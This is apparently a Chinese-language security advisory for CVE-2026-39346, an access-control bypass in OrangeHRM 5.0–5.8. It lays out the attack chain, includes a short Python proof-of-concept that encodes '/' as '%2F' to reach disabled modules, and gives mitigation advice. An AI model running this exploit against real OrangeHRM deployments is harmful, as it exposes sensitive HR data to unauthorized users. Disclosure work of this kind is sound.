IPBUF安全漏洞报告
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CVE-2026-39346 CVSS 5.4 中危

CVE-2026-39346 OrangeHRM 访问控制绕过漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39346
漏洞类型
访问控制绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OrangeHRM Open Source

相关标签

访问控制绕过OrangeHRMURL编码权限绕过CVE-2026-39346

漏洞概述

OrangeHRM是一款广泛使用的开源人力资源管理系统。在5.0至5.8版本中,系统存在一处访问控制绕过漏洞。由于未正确处理URL编码的请求路径,经过身份验证的攻击者可以绕过管理员对特定模块的禁用设置。这意味着即使管理员禁用了某些敏感功能模块(如维护、配置或特定HR模块),低权限用户依然可以通过构造特定的URL编码请求直接访问这些功能。该漏洞可能导致敏感信息泄露或未授权的系统操作,严重影响了系统的权限隔离机制。官方已在5.8.1版本中修复了此问题。

技术细节

该漏洞的核心在于应用程序在处理路由和权限验证时的逻辑缺陷。OrangeHRM在检查模块是否启用或用户是否有权访问时,可能依赖于原始路径字符串匹配,而未对URL编码后的变体进行统一的规范化处理。攻击者利用这一特性,将请求路径中的关键字符(如路径分隔符/)进行URL编码(例如%2F)。当请求到达服务器时,如果安全检查发生在路径解码之前,或者检查逻辑与路由解析逻辑对编码的处理不一致,安全过滤器将无法识别出该请求指向的是被禁用的模块。随后,后端路由器可能对路径进行解码并成功路由到目标控制器,从而导致访问控制失效。这种绕过方式不需要高权限,仅需普通用户登录即可执行。

攻击链分析

STEP 1
侦察
识别目标OrangeHRM系统版本在5.0到5.8之间,并确定已被禁用的敏感模块路径。
STEP 2
初始访问
使用获取到的低权限账号凭证登录系统,建立有效的会话。
STEP 3
漏洞利用
对目标模块的URL路径进行URL编码(如将'/'替换为'%2F'),构造绕过防火墙或ACL规则的请求。
STEP 4
权限提升
服务器处理编码请求,绕过访问控制检查,成功渲染禁用模块页面,获取未授权功能访问权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://target-orangehrm.com" login_endpoint = "/auth/login" username = "employee" password = "password" # The module disabled by admin, e.g., 'maintenance' # Normal access to /maintenance/view is blocked # We try to bypass using URL encoding disabled_module_path = "/maintenance/view" encoded_path = disabled_module_path.replace("/", "%2F") session = requests.Session() # 1. Authenticate login_data = {"username": username, "password": password} login_resp = session.post(target_url + login_endpoint, data=login_data) if login_resp.status_code == 200: # 2. Exploit: Send request with encoded path exploit_url = f"{target_url}{encoded_path}" response = session.get(exploit_url) # 3. Verify if response.status_code == 200 and "Maintenance" in response.text: print(f"[+] Exploit Successful! Accessed disabled module via: {exploit_url}") else: print("[-] Exploit Failed or Patched.") else: print("[-] Login Failed.")

影响范围

OrangeHRM Open Source 5.0
OrangeHRM Open Source 5.1
OrangeHRM Open Source 5.2
OrangeHRM Open Source 5.3
OrangeHRM Open Source 5.4
OrangeHRM Open Source 5.5
OrangeHRM Open Source 5.6
OrangeHRM Open Source 5.7
OrangeHRM Open Source 5.8

防御指南

临时缓解措施
如果无法立即升级,建议管理员通过Web应用防火墙(WAF)配置规则,拦截包含异常URL编码(如双重编码或路径分隔符编码)的请求。同时,应加强对低权限用户的监控,确保其仅能访问工作必需的最小权限模块。

参考链接

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